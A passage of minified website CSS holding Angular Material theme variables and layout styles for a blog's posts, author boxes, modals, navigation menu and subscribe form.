sans-serif;--mat-bottom-sheet-container-text-line-height:20px;--mat-bottom-sheet-container-text-size:14px;--mat-bottom-sheet-container-text-tracking:.0178571429em;--mat-bottom-sheet-container-text-weight:400}html{--mat-legacy-button-toggle-height:36px;--mat-legacy-button-toggle-shape:2px;--mat-legacy-button-toggle-focus-state-layer-opacity:1;--mat-standard-button-toggle-shape:4px;--mat-standard-button-toggle-hover-state-layer-opacity:.04;--mat-standard-button-toggle-focus-state-layer-opacity:.12}html{--mat-legacy-button-toggle-text-color:rgba(0, 0, 0, .38);--mat-legacy-button-toggle-state-layer-color:rgba(0, 0, 0, .12);--mat-legacy-button-toggle-selected-state-text-color:rgba(0, 0, 0, .54);--mat-legacy-button-toggle-selected-state-background-color:#e0e0e0;--mat-legacy-button-toggle-disabled-state-text-color:rgba(0, 0, 0, .26);--mat-legacy-button-toggle-disabled-state-background-color:#eeeeee;--mat-legacy-button-toggle-disabled-selected-state-background-color:#bdbdbd;--mat-standard-button-toggle-text-color:rgba(0, 0, 0, .87);--mat-standard-button-toggle-background-color:white;--mat-standard-button-toggle-state-layer-color:black;--mat-standard-button-toggle-selected-state-background-color:#e0e0e0;--mat-standard-button-toggle-selected-state-text-color:rgba(0, 0, 0, .87);--mat-standard-button-toggle-disabled-state-text-color:rgba(0, 0, 0, .26);--mat-standard-button-toggle-disabled-state-background-color:white;--mat-standard-button-toggle-disabled-selected-state-text-color:rgba(0, 0, 0, .87);--mat-standard-button-toggle-disabled-selected-state-background-color:#bdbdbd;--mat-standard-button-toggle-divider-color:#e0e0e0}html{--mat-standard-button-toggle-height:48px}html{--mat-legacy-button-toggle-label-text-font:Roboto, sans-serif;--mat-legacy-button-toggle-label-text-line-height:24px;--mat-legacy-button-toggle-label-text-size:16px;--mat-legacy-button-toggle-label-text-tracking:.03125em;--mat-legacy-button-toggle-label-text-weight:400;--mat-standard-button-toggle-label-text-font:Roboto, sans-serif;--mat-standard-button-toggle-label-text-line-height:24px;--mat-standard-button-toggle-label-text-size:16px;--mat-standard-button-toggle-label-text-tracking:.03125em;--mat-standard-button-toggle-label-text-weight:400}html{--mat-datepicker-calendar-container-shape:4px;--mat-datepicker-calendar-container-touch-shape:4px;--mat-datepicker-calendar-container-elevation-shadow:0px 2px 4px -1px rgba(0, 0, 0, .2), 0px 4px 5px 0px rgba(0, 0, 0, .14), 0px 1px 10px 0px rgba(0, 0, 0, .12);--mat-datepicker-calendar-container-touch-elevation-shadow:0px 11px 15px -7px rgba(0, 0, 0, .2), 0px 24px 38px 3px rgba(0, 0, 0, .14), 0px 9px 46px 8px rgba(0, 0, 0, .12)}html{--mat-datepicker-calendar-date-selected-state-text-color:white;--mat-datepicker-calendar-date-selected-state-background-color:#3f51b5;--mat-datepicker-calendar-date-selected-disabled-state-background-color:rgba(63, 81, 181, .4);--mat-datepicker-calendar-date-today-selected-state-outline-color:white;--mat-datepicker-calendar-date-focus-state-background-color:rgba(63, 81, 181, .3);--mat-datepicker-calendar-date-hover-state-background-color:rgba(63, 81, 181, .3);--mat-datepicker-toggle-active-state-icon-color:#3f51b5;--mat-datepicker-calendar-date-in-range-state-background-color:rgba(63, 81, 181, .2);--mat-datepicker-calendar-date-in-comparison-range-state-background-color:rgba(249, 171, 0, .2);--mat-datepicker-calendar-date-in-overlap-range-state-background-color:#a8dab5;--mat-datepicker-calendar-date-in-overlap-range-selected-state-background-color:#46a35e;--mat-datepicker-toggle-icon-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-body-label-text-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-period-button-text-color:black;--mat-datepicker-calendar-period-button-icon-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-navigation-button-icon-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-header-divider-color:rgba(0, 0, 0, .12);--mat-datepicker-calendar-header-text-color:rgba(0, 0, 0, .54);--mat-datepicker-calendar-date-today-outline-color:rgba(0, 0, 0, .38);--mat-datepicker-calendar-date-today-disabled-state-outline-color:rgba(0, 0, 0, .18);--mat-datepicker-calendar-date-text-color:rgba(0, 0, 0, .87);--mat-datepicker-calendar-date-outline-color:transparent;--mat-datepicker-calendar-date-disabled-state-text-color:rgba(0, 0, 0, .38);--mat-datepicker-calendar-date-preview-state-outline-color:rgba(0, 0, 0, .24);--mat-datepicker-range-input-separator-color:rgba(0, 0, 0, .87);--mat-datepicker-range-input-disabled-state-separator-color:rgba(0, 0, 0, .38);--mat-datepicker-range-input-disabled-state-text-color:rgba(0, 0, 0, .38);--mat-datepicker-calendar-container-background-color:white;--mat-datepicker-calendar-container-text-color:rgba(0, 0, 0, .87)}html{--mat-datepicker-calendar-text-font:Roboto, sans-serif;--mat-datepicker-calendar-text-size:13px;--mat-datepicker-calendar-body-label-text-size:14px;--mat-datepicker-calendar-body-label-text-weight:500;--mat-datepicker-calendar-period-button-text-size:14px;--mat-datepicker-calendar-period-button-text-weight:500;--mat-datepicker-calendar-header-text-size:11px;--mat-datepicker-calendar-header-text-weight:400}html{--mat-divider-width:1px}html{--mat-divider-color:rgba(0, 0, 0, .12)}html{--mat-expansion-container-shape:4px;--mat-expansion-legacy-header-indicator-display:inline-block;--mat-expansion-header-indicator-display:none}html{--mat-expansion-container-background-color:white;--mat-expansion-container-text-color:rgba(0, 0, 0, .87);--mat-expansion-actions-divider-color:rgba(0, 0, 0, .12);--mat-expansion-header-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-expansion-header-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-expansion-header-disabled-state-text-color:rgba(0, 0, 0, .26);--mat-expansion-header-text-color:rgba(0, 0, 0, .87);--mat-expansion-header-description-color:rgba(0, 0, 0, .54);--mat-expansion-header-indicator-color:rgba(0, 0, 0, .54)}html{--mat-expansion-header-collapsed-state-height:48px;--mat-expansion-header-expanded-state-height:64px}html{--mat-expansion-header-text-font:Roboto, sans-serif;--mat-expansion-header-text-size:14px;--mat-expansion-header-text-weight:500;--mat-expansion-header-text-line-height:inherit;--mat-expansion-header-text-tracking:inherit;--mat-expansion-container-text-font:Roboto, sans-serif;--mat-expansion-container-text-line-height:20px;--mat-expansion-container-text-size:14px;--mat-expansion-container-text-tracking:.0178571429em;--mat-expansion-container-text-weight:400}html{--mat-grid-list-tile-header-primary-text-size:14px;--mat-grid-list-tile-header-secondary-text-size:12px;--mat-grid-list-tile-footer-primary-text-size:14px;--mat-grid-list-tile-footer-secondary-text-size:12px}html{--mat-icon-color:inherit}html{--mat-sidenav-container-shape:0;--mat-sidenav-container-elevation-shadow:0px 8px 10px -5px rgba(0, 0, 0, .2), 0px 16px 24px 2px rgba(0, 0, 0, .14), 0px 6px 30px 5px rgba(0, 0, 0, .12);--mat-sidenav-container-width:auto}html{--mat-sidenav-container-divider-color:rgba(0, 0, 0, .12);--mat-sidenav-container-background-color:white;--mat-sidenav-container-text-color:rgba(0, 0, 0, .87);--mat-sidenav-content-background-color:#fafafa;--mat-sidenav-content-text-color:rgba(0, 0, 0, .87);--mat-sidenav-scrim-color:rgba(0, 0, 0, .6)}html{--mat-stepper-header-icon-foreground-color:white;--mat-stepper-header-selected-state-icon-background-color:#3f51b5;--mat-stepper-header-selected-state-icon-foreground-color:white;--mat-stepper-header-done-state-icon-background-color:#3f51b5;--mat-stepper-header-done-state-icon-foreground-color:white;--mat-stepper-header-edit-state-icon-background-color:#3f51b5;--mat-stepper-header-edit-state-icon-foreground-color:white;--mat-stepper-container-color:white;--mat-stepper-line-color:rgba(0, 0, 0, .12);--mat-stepper-header-hover-state-layer-color:rgba(0, 0, 0, .04);--mat-stepper-header-focus-state-layer-color:rgba(0, 0, 0, .04);--mat-stepper-header-label-text-color:rgba(0, 0, 0, .54);--mat-stepper-header-optional-label-text-color:rgba(0, 0, 0, .54);--mat-stepper-header-selected-state-label-text-color:rgba(0, 0, 0, .87);--mat-stepper-header-error-state-label-text-color:#f44336;--mat-stepper-header-icon-background-color:rgba(0, 0, 0, .54);--mat-stepper-header-error-state-icon-foreground-color:#f44336;--mat-stepper-header-error-state-icon-background-color:transparent}html{--mat-stepper-header-height:72px}html{--mat-stepper-container-text-font:Roboto, sans-serif;--mat-stepper-header-label-text-font:Roboto, sans-serif;--mat-stepper-header-label-text-size:14px;--mat-stepper-header-label-text-weight:400;--mat-stepper-header-error-state-label-text-size:16px;--mat-stepper-header-selected-state-label-text-size:16px;--mat-stepper-header-selected-state-label-text-weight:400}html{--mat-sort-arrow-color:#757575}html{--mat-toolbar-container-background-color:whitesmoke;--mat-toolbar-container-text-color:rgba(0, 0, 0, .87)}html{--mat-toolbar-standard-height:64px;--mat-toolbar-mobile-height:56px}html{--mat-toolbar-title-text-font:Roboto, sans-serif;--mat-toolbar-title-text-line-height:32px;--mat-toolbar-title-text-size:20px;--mat-toolbar-title-text-tracking:.0125em;--mat-toolbar-title-text-weight:500}html{--mat-tree-container-background-color:white;--mat-tree-node-text-color:rgba(0, 0, 0, .87)}html{--mat-tree-node-min-height:48px}html{--mat-tree-node-text-font:Roboto, sans-serif;--mat-tree-node-text-size:14px;--mat-tree-node-text-weight:400}/*! Theme: GitHub Description: Light theme as seen on github.com Author: github.com Maintainer: @Hirse Updated: 2021-05-15 Outdated base version: https://github.com/primer/github-syntax-light Current colors taken from GitHub's CSS */@charset "UTF-8";/*! normalize-scss | MIT/GPLv2 License | bit.ly/normalize-scss */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}h1{font-size:2em;margin:.67em 0}main{display:block}a{background-color:transparent}strong{font-weight:bolder}img{border-style:none}button,input{line-height:1.15;font-family:inherit;font-size:100%;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button}button::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring{outline:1px dotted ButtonText}input{overflow:visible}[type=checkbox]{box-sizing:border-box;padding:0}html{box-sizing:border-box}*,*:before,*:after{box-sizing:inherit}img{max-width:100%;height:auto}@font-face{font-family:Metropolis;src:url(Metropolis-SemiBold.d2e20fff26a63d07.woff2) format("woff2"),url(Metropolis-SemiBold.cd375299130b7a7d.woff) format("woff");font-weight:500;font-style:normal;font-display:swap}@font-face{font-family:Metropolis;src:url(Metropolis-Medium.2d9d39a57d953c79.woff2) format("woff2"),url(Metropolis-Medium.72538f9aacc6bafa.woff) format("woff");font-weight:400;font-style:normal;font-display:swap}@font-face{font-family:Metropolis;src:url(Metropolis-Bold.95361de5b5275a58.woff2) format("woff2"),url(Metropolis-Bold.bec97d68326a53ea.woff) format("woff");font-weight:700;font-style:normal;font-display:swap}img{border:0;height:auto;max-width:100%}figure{margin:0}svg:not(:root){overflow:hidden}iframe{max-width:100%}h1,h2,h3,h4{font-family:Metropolis,sans-serif;font-weight:500;margin:0 0 15px}h1#page-title{font-size:2.125rem;line-height:2.25rem;color:#fc0;font-weight:700}@media (min-width: 45em){h1#page-title{font-size:3.625rem;line-height:3.75rem;margin-bottom:24px}}h1#page-title:first-line{color:#252424}h2{font-size:1.25rem;line-height:1.875rem}@media (min-width: 45em){h2{font-size:2.25rem;line-height:3.375rem}}h3{font-size:1.5rem;line-height:2.25rem}@media (min-width: 45em){h3{font-size:1.625rem;line-height:2.4375rem}}h4{font-size:1.375rem;line-height:2.0625rem}@media (min-width: 45em){h4{font-size:1.5rem;line-height:2.25rem}}p{font-size:1rem;line-height:1.625rem;margin:0 0 20px}@media (min-width: 45em){p{font-size:1.25rem;line-height:2.25rem}}.node ul{font-size:1rem;line-height:1.375rem}@media (min-width: 45em){.node ul{font-size:1.25rem;line-height:2.25rem}}.ellipse{display:block;z-index:10}.ellipse svg{display:block}.hidden{display:none!important}.inner,.page-container{margin-left:auto;margin-right:auto;max-width:1350px}.inner:after,.page-container:after{content:"";display:table;clear:both}.author{background-color:#000000a6;border-radius:0 76px 76px 0;padding-bottom:5px;padding-left:15px;padding-top:5px}.author:after{content:"";display:table;clear:both}@media (min-width: 45em){.author{background-color:transparent;border-radius:0;padding:0}}.author__content{margin-left:95px;padding-bottom:10px;padding-right:30px;padding-top:10px}@media (min-width: 45em){.author__content{margin-left:0;padding-bottom:0;padding-right:0;padding-top:0;text-align:center}}.author__image{float:left;height:80px;width:80px}@media (min-width: 45em){.author__image{float:none;height:auto;margin-left:auto;margin-right:auto;margin-bottom:10px;width:auto}}@media (min-width: 63.75em){.author__image{height:120px;width:120px}}.author__image img{background-color:#999;border-radius:100%;border:3px solid #f8f8f8;display:block}@media (min-width: 45em){.author__image img{border-width:4px}}.author__name{font-size:1.125rem;line-height:1.3125rem;color:#fff;font-weight:500;margin-bottom:2px}@media (min-width: 45em){.author__name{font-size:.875rem;line-height:1rem;color:#323131;display:block}}.author__title{font-size:.9375rem;line-height:1.125rem;color:#dedede;display:block}@media (min-width: 45em){.author__title{font-size:.75rem;line-height:.875rem;color:#676464}}.blog-author{background-color:#223d5f;color:#fff;margin-bottom:1px;margin-left:-15px;margin-right:-15px;padding:15px}@media (min-width: 63.75em){.blog-author{margin-bottom:2px;margin-left:0;margin-right:0;padding:0}}.blog-author__inner{margin-top:-70px}.blog-author__inner:after{content:"";display:table;clear:both}@media (min-width: 63.75em){.blog-author__inner{margin-top:0;height:425px;position:relative}}.blog-author__image{margin-bottom:10px;overflow:hidden}@media (min-width: 63.75em){.blog-author__image{height:100%;left:0;margin-bottom:0;position:absolute;top:0;width:35.8974358974%}}.blog-author__image img{background-color:#999;border-radius:100%;border:3px solid #f8f8f8;display:block;margin-left:auto;margin-right:auto;width:120px}@media (min-width: 63.75em){.blog-author__image img{position:absolute;left:50%;transform:translate(-50%);background-color:transparent;border-radius:0;border:0;margin-left:0;margin-right:0;max-width:none;width:auto}}.blog-author__image .ellipse{display:none}@media (min-width: 63.75em){.blog-author__image .ellipse{position:absolute;top:50%;transform:translateY(-50%) rotate(180deg);display:block;right:0}}@media (min-width: 63.75em){.blog-author__content{float:right;padding:40px 40px 40px 0;width:61.5384615385%}}.blog-author__title{font-size:1.5rem;line-height:2.5625rem;border-bottom:1px solid #005C8A;margin-bottom:10px;text-align:center}@media (min-width: 63.75em){.blog-author__title{font-size:2rem;line-height:2.8125rem;text-align:left}}.blog-author__name{font-size:1.25rem;line-height:1.5rem;color:#bce9ff;font-weight:500;margin-bottom:5px}@media (min-width: 63.75em){.blog-author__name{font-size:1.75rem;line-height:2rem}}.blog-author__position{font-size:1.125rem;line-height:1.3125rem;color:#dad7d7;font-weight:500;margin-bottom:20px}@media (min-width: 63.75em){.blog-author__position{font-size:1.25rem;line-height:1.5rem}}.blog-author p{font-size:1rem;line-height:1.625rem}@media (min-width: 63.75em){.blog-author p{font-size:1.25rem;line-height:1.8125rem}}.blog-post{margin-top:-80px;position:relative}.blog-post:after{content:"";display:table;clear:both}@media (max-width: 44.9375em){.blog-post__author-wrapper{bottom:5px;left:0;margin-right:80px;max-width:450px;position:absolute}}.blog-post__aside{position:absolute;top:-20px;width:100%}@media (min-width: 45em){.blog-post__aside{float:left;margin-top:20px;padding-left:10px;padding-right:10px;position:static;width:12.8205128205%}}@media (min-width: 45em){.blog-post__aside .author{margin-bottom:20px}}@media (min-width: 45em){.blog-post__aside .author:nth-child(1) .author__image{margin-bottom:5px}}.blog-post__content{background-color:#f8f8f8;border-top:5px solid #005C8A;padding:20px 15px}@media (min-width: 45em){.blog-post__content{float:left;padding:30px 50px;width:87.1794871795%}}.blog-post__content .subscribe-email{margin:0 auto 10px}@media (min-width: 45em){.blog-post__content .subscribe-email{margin:0}}.blog-post__content .subscribe-email:hover,.blog-post__content .subscribe-email:focus{color:#fff}.blog-post__content .social-list{background-color:#00000012;margin:0}@media (min-width: 45em){.blog-post__content .social-list{margin-left:10px}}.blog-post__content .social-list__wrapper{text-align:left}@media (min-width: 45em){.blog-post__content .social-list__wrapper{display:flex}}@media (min-width: 63.75em){.blog-post__content .social-list__wrapper{float:right}}@media (min-width: 87.5em){.blog-post__content .social-list__wrapper{margin-top:-10px}}.blog-post__content .social-list__wrapper .subscribe-email{font-size:1rem;line-height:2.5rem;background-color:#00000012;color:#858585;margin:0 auto 5px 0}@media (min-width: 45em){.blog-post__content .social-list__wrapper .subscribe-email{margin-bottom:0;margin-right:0}}.blog-post__content .social-list__wrapper .subscribe-email:hover,.blog-post__content .social-list__wrapper .subscribe-email:focus{background-color:#00000047;color:#e3e3e3}.blog-post__content .social-list__label{font-size:1rem;line-height:1.875rem;color:#858585}.blog-post__content .social-list__item{height:30px;line-height:18px;width:30px}.blog-post__content .social-list a,.blog-post__content .social-list a:visited{background-color:#00000014;color:#858585;display:block;font-size:18px;height:30px;line-height:16px;position:relative;width:30px;padding:5px}.blog-post__content .social-list a:hover,.blog-post__content .social-list a:focus,.blog-post__content .social-list a:visited:hover,.blog-post__content .social-list a:visited:focus{background-color:#00000047;color:#e3e3e3}.blog-post__subtitle{font-size:1.25rem;line-height:1.6875rem;color:#53565a;font-weight:400}@media (min-width: 45em){.blog-post__subtitle{font-size:1.875rem;line-height:2.9375rem}}.blog-post__comment{margin-bottom:20px;margin-top:40px}.blog-post__comment-title{font-size:1.5625rem;line-height:1.875rem}@media (min-width: 45em){.blog-post__comment-title{font-size:2.625rem;line-height:2.625rem;padding-left:54px;position:relative}}.blog-post__comment-title .ng-fa-icon{background-color:#005c8a;border-radius:100%;color:#fff;display:block;font-size:30px;line-height:44px;margin:0 auto 10px;text-align:center;width:44px}@media (min-width: 45em){.blog-post__comment-title .ng-fa-icon{position:absolute;top:50%;transform:translateY(-50%);height:44px;left:0;margin-left:0;margin-right:10px}}.blog-post__comment-title .ng-fa-icon svg{margin-top:5px}.blog-post__comment .social-list{background-color:transparent;margin-left:0;padding:0}.blog-post__about-author-wrapper{margin-top:90px}@media (min-width: 63.75em){.blog-post__about-author-wrapper{margin-top:0}}@media (max-width: 63.6875em){.blog-post .blog-author{padding-bottom:70px}.blog-post .blog-author:last-child{padding-bottom:15px}}.blog-post__header .meta{margin-bottom:0}.blog-post__header .row{margin-bottom:20px}@media (min-width: 63.75em){.blog-post__header .row{display:flex;justify-content:space-between}}.blog-post__header .column--first{margin-bottom:20px}@media (min-width: 63.75em){.blog-post__header .column--first{margin-bottom:0}}@media (min-width: 63.75em){.blog-post__header .column--last{flex:0 0 350px}}.blog-post__header .subscribe-email:hover svg{fill:#fff}.blog-post__header .subscribe-email svg{margin-bottom:-5px;margin-right:5px;fill:#858585}.blog-post__header .subscribe-email svg:hover,.blog-post__header .subscribe-email svg:focus{fill:#fff}.blog-post__header .social-list a:hover svg,.blog-post__header .social-list a:focus svg{fill:#e3e3e3}.blog-post__header .social-list svg{fill:#858585;width:20px;height:20px}.blog-post__header .social-list svg:hover,.blog-post__header .social-list svg:focus{fill:#e3e3e3}button{outline:none}.subscribe-form{margin-left:auto;margin-right:auto;max-width:480px}.subscribe-form .form-item{margin-bottom:10px}.subscribe-form .subscribe-form-tos a,.subscribe-form .subscribe-form-tos a:visited{color:#fff;text-decoration:underline}@media (min-width: 45em){.subscribe-form .subscribe-form-tos{min-height:36px;font-size:16px;line-height:18px;margin-bottom:20px}}.subscribe-form .form-fields{position:relative}.subscribe-form__email{border-radius:3px;border:0;display:block;padding:10px 20px;text-align:center;width:100%}@media (min-width: 45em){.subscribe-form__email{height:60px;padding-right:230px;text-align:left}}.subscribe-form .form-submit{font-size:1.125rem;line-height:1.125rem;background-color:#9b1a2a;border:0;border-radius:3px;color:#fff;cursor:pointer;display:block;font-weight:600;padding:10px 20px;text-transform:uppercase;width:100%}@media (min-width: 45em){.subscribe-form .form-submit{font-size:1.5rem;line-height:1.5rem;border-radius:0 3px 3px 0;height:60px;position:absolute;right:0;top:56px;white-space:nowrap;width:210px}}.subscribe-form .form-submit:disabled{background-color:#b2b2b2;cursor:default}.subscribe-form .form-submit:disabled svg{width:26px;height:22px;margin-bottom:-2px}.subscribe-form .form-submit__submitted:disabled{background-color:#568322}.subscribe-form .form-submit__submitted svg{margin-bottom:-3px}.hero{min-height:430px;overflow:hidden}@media (min-width: 45em){.hero{height:auto;max-height:620px;max-height:50vh}}@media (min-width: 45em){.hero__image{max-height:620px;max-height:50vh}}.hero__image img{display:block;max-width:none;width:auto}@media (min-width: 45em){.hero__image img{max-width:100%;width:100%}}@media (min-width: 63.75em) and (min-height: 1100px){.hero__image img{height:100%!important}}.meta{font-size:0;line-height:0;margin-bottom:20px}.meta:after{content:"";display:table;clear:both}.meta span{font-size:.75rem;line-height:1.125rem;color:#999;display:block;float:left;letter-spacing:.15em;margin-right:11px;padding-right:10px;position:relative;text-transform:uppercase}@media (min-width: 45em){.meta span{font-size:1rem;line-height:1.5rem}}.meta span:after{position:absolute;top:50%;transform:translateY(-50%);background-color:#999;content:"";height:13px;right:0;width:1px}.meta span:last-child{margin-right:0}.meta span:last-child:after{display:none}.meta span:first-child{margin-left:0;padding-left:0}.meta a,.meta a:visited{color:#005c8a}.meta a:hover,.meta a:focus,.meta a:visited:hover,.meta a:visited:focus{text-decoration:none}.modal{background-color:#000000e6;height:100%;left:0;opacity:0;position:fixed;top:0;transition:opacity .3s ease,visibility .3s ease;visibility:hidden;width:100%;z-index:10}.modal__inner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);max-width:780px;text-align:center;width:100%}.modal__content{background-color:#005c8a;color:#fff;margin-left:10px;margin-right:10px;max-height:calc(100vh - 40px);overflow-y:auto;padding:20px}@media (min-width: 45em){.modal__content{border-left-width:40px;border-right-width:40px;padding:40px}}.modal__title{font-size:.875rem;line-height:.875rem;font-weight:500;margin-bottom:30px;text-transform:uppercase}@media (min-width: 45em){.modal__title{font-size:1.25rem;line-height:1.875rem}}.modal__title em{font-size:1.875rem;line-height:1.875rem;display:block;font-style:normal;margin-top:5px}@media (min-width: 45em){.modal__title em{font-size:4.25rem;line-height:4.25rem}}.modal .modal__envelope-icon{background-color:#9b1a2a;border-radius:50%;font-size:25px;line-height:1;margin:0 auto 20px;position:relative;height:80px;width:80px;display:flex;justify-content:center;align-items:center}.modal .modal__envelope-icon svg{width:35px;height:25px}@media (min-width: 45em){.modal .modal__envelope-icon svg{width:50px;height:40px}}.modal__close{appearance:none;background-color:transparent;border-radius:0;border:0;box-shadow:none;color:#fff;cursor:pointer;display:block;font-size:0;height:20px;margin:0;padding:0;position:absolute;right:10px;text-indent:-9999px;transition:background-color .3s ease;top:0;white-space:nowrap;width:20px;z-index:999}@media (min-width: 45em){.modal__close{height:40px;width:40px}}.modal__close:hover,.modal__close:focus{background-color:#ffffff73}.modal__close span{display:block;height:2px;left:3px;position:absolute;right:0;top:9px;width:15px}@media (min-width: 45em){.modal__close span{height:3px;left:7px;top:18px;width:28px}}.modal__close span:before,.modal__close span:after{background-color:#fff;content:"";display:block;height:2px;left:0;position:absolute;width:100%}@media (min-width: 45em){.modal__close span:before,.modal__close span:after{height:3px}}.modal__close span:before{top:0;transform:rotate(45deg)}.modal__close span:after{bottom:0;transform:rotate(-45deg)}.nav-menu{background-color:transparent;height:100%;left:0;opacity:0;overflow:auto;position:fixed;top:66px;transition:all .3s ease;visibility:hidden;width:100%;z-index:998}@media (min-width: 45em){.nav-menu{top:84px}}.nav-menu .inner{padding:50px 20px 100px}@media (min-width: 45em){.nav-menu .inner{padding-top:110px}}@media (min-width: 87.5em){.nav-menu .inner{padding-left:0;padding-right:0}}.nav-menu header{clip:rect(1px,1px,1px,1px);height:1px;overflow:hidden;position:absolute!important;width:1px}.nav-menu__list{margin:0;padding:0;text-align:center}.nav-menu__item{border:1px solid #bbbcbc;border-radius:5px;display:block;list-style:none;margin:0 auto 12px;padding:0;transition:border-color .3s ease;width:320px}.nav-menu__item:last-child{margin-bottom:0}.nav-menu__item.external{background:#005c8acc;border-color:#005c8a}.nav-menu__item:hover{border-color:#fff}.nav-menu__link,.nav-menu__link:visited{font-size:1.375rem;line-height:1.375rem;display:block;color:#fff;padding:10px 20px}.nav-menu__link:hover,.nav-menu__link:focus,.nav-menu__link:visited:hover,.nav-menu__link:visited:focus{background-color:#ffffff1a;text-decoration:none}.nav-menu svg{margin-right:10px;width:22px;height:22px;margin-bottom:-2px}.nav-menu .icomoon{width:24px;height:26px;margin-bottom:-5px}.nav-toggle{appearance:none;background-color:transparent;border-radius:0;border:0;box-shadow:none;color:#53565a;cursor:pointer;display:block;font-size:0;height:66px;margin:0;padding:0;position:absolute;right:46px;text-indent:-9999px;top:0;white-space:nowrap;width:46px;z-index:999}@media (min-width: 45em){.nav-toggle{height:84px;right:60px}}@media (min-width: 45em){.nav-toggle em{font-size:1rem;line-height:5.25rem;font-family:Metropolis,sans-serif;font-size:1.25rem;right:44px;position:absolute;text-indent:0;top:-42px;font-style:normal}}.nav-toggle:focus{outline:0}.nav-toggle span{background-color:#53565a;display:block;height:3px;left:11px;position:absolute;right:0;top:31px;transition:background .3s,.3s;width:28px}@media (min-width: 45em){.nav-toggle span{top:42px}}.nav-toggle span:before,.nav-toggle span:after{background-color:#53565a;content:"";display:block;height:3px;left:0;position:absolute;transition-duration:.3s,.3s;width:100%}.nav-toggle span:before{top:-9px;transition-property:top,transform}.nav-toggle span:after{bottom:-9px;transition-property:bottom,transform}.paragraph-image-inline{margin-bottom:30px;margin-top:30px}@media (min-width: 63.75em){.paragraph-image-inline{margin-bottom:60px;margin-top:60px}}.paragraph-image-inline figure{display:table}.paragraph-image-inline img{display:block}.paragraph-image-inline figcaption{font-size:.875rem;line-height:1rem;caption-side:bottom;color:#888;display:table-caption;font-style:italic;margin-top:6px}@media (min-width: 45em){.paragraph-image-inline figcaption{font-size:1.125rem;line-height:1.3125rem}}.paragraph-table{border-radius:5px;border:1px solid #d4d4d4;margin-bottom:30px;margin-top:30px;overflow:hidden}@media (min-width: 45em){.paragraph-table{overflow-x:scroll}}.paragraph-table table{border-collapse:collapse;border-spacing:0;width:100%}.paragraph-table table th{background-color:#005c8a;border:0;color:#fff;padding:20px;text-align:left;white-space:nowrap}.paragraph-table table tr{background-color:#fff}.paragraph-table table tr:nth-child(odd){background-color:#efefef}.paragraph-table table td{padding:15px 20px;vertical-align:top}@media (max-width: 63.6875em){.paragraph-table table thead{display:none}.paragraph-table table th{padding-bottom:5px;padding-top:5px}.paragraph-table table tr{display:block;padding:10px;position:relative}.paragraph-table table td{border:0;display:table-row;padding-bottom:5px;padding-top:5px}.paragraph-table table td:before{content:attr(data-label);display:table-cell;font-weight:500;padding:10px 15px 10px 5px;text-align:right}}.paragraph{margin-bottom:40px}.related-blog-posts{background-color:#fff}.related-blog-posts .inner{padding:20px 15px 0}@media (min-width: 63.75em){.related-blog-posts .inner{padding-left:2.5641025641%;padding-right:2.5641025641%}}.related-blog-posts__link,.related-blog-posts__link:visited{text-decoration:none}.related-blog-posts__link:hover,.related-blog-posts__link:focus,.related-blog-posts__link:visited:hover,.related-blog-posts__link:visited:focus{text-decoration:none}.related-blog-posts__title{font-size:1.625rem;line-height:2.5625rem;font-weight:500;margin-bottom:20px}@media (min-width: 63.75em){.related-blog-posts__title{font-size:1.75rem;line-height:2.0625rem;color:#302f2f;font-weight:500;margin-bottom:10px}}.related-blog-posts__title svg{margin-right:10px;margin-bottom:-7px}.related-blog-posts .meta{font-size:.8125rem;line-height:.9375rem;color:#aba8a8;margin-bottom:5px;text-transform:uppercase}.related-blog-posts .meta span{font-size:.8125rem;line-height:1rem}@media (min-width: 45em){.related-blog-posts__list{display:flex}}.related-blog-posts__item{margin-bottom:40px;position:relative}.related-blog-posts__item:nth-child(n+3){display:none}@media (min-width: 45em) and (max-width: 63.6875em){.related-blog-posts__item{margin-right:2.5641025641%;width:48.7179487179%}.related-blog-posts__item:nth-child(2){margin-right:0}}@media (min-width: 63.75em){.related-blog-posts__item{margin-right:2.5641025641%;width:23.0769230769%}.related-blog-posts__item:last-child{margin-right:0}.related-blog-posts__item:nth-child(n+3){display:block}}.related-blog-posts__image{overflow:hidden;position:relative;margin-bottom:15px}.related-blog-posts__image:after{background-color:#00000059;content:"";display:block;height:100%;left:0;opacity:0;position:absolute;top:0;transition:all .5s ease;width:100%}.related-blog-posts__image img{display:block;transition:all .5s ease;width:100%}.related-blog-posts__image:hover:after,.related-blog-posts__image:focus:after{opacity:1}.related-blog-posts__post-title{font-size:1.25rem;line-height:1.6875rem;color:#302f2f;font-weight:500;margin-bottom:0;transition:color .3s ease}.related-blog-posts__post-title:hover,.related-blog-posts__post-title:focus{color:#005c8a}.related-blog-posts__blog-post{background-color:#191919;border-top:5px solid #000}@media (min-width: 87.5em){.related-blog-posts__blog-post .inner{padding:30px 0 0}}.related-blog-posts__blog-post .related-blog-posts__title{color:#fff;text-align:center}@media (min-width: 63.75em){.related-blog-posts__blog-post .related-blog-posts__title{font-size:2.25rem;line-height:2.5625rem;margin-bottom:40px}}.related-blog-posts__blog-post .related-blog-posts__post-title{color:#fc0}.related-blog-posts__blog-post .related-blog-posts__post-title:first-line{color:#fff}.social-list{background-color:#ffffff26;border-radius:3px;display:inline-flex;flex-wrap:nowrap;margin-left:auto;margin-right:auto;padding:5px;text-align:center}.social-list:after{content:"";display:table;clear:both}.social-list__wrapper{text-align:center}.social-list__label{font-size:1rem;line-height:2.5rem;color:#fff;display:block;float:left;font-family:Metropolis,sans-serif;font-weight:500;padding-left:5px;padding-right:10px;text-transform:uppercase}.social-list__item{cursor:pointer;display:inline-block;height:40px;line-height:25px;margin-right:5px;text-align:center;width:40px}.social-list__item:last-child{margin-right:0}.social-list__item span{clip:rect(1px,1px,1px,1px);height:1px;overflow:hidden;position:absolute!important;width:1px;word-wrap:normal}.social-list__item a,.social-list__item a:visited{background-color:#ffffff26;border-radius:3px;color:#fff;display:block;font-size:25px;height:40px;line-height:25px;margin-right:7px;opacity:1;padding:8px;text-align:center;width:40px}.social-list__item a:hover,.social-list__item a:focus,.social-list__item 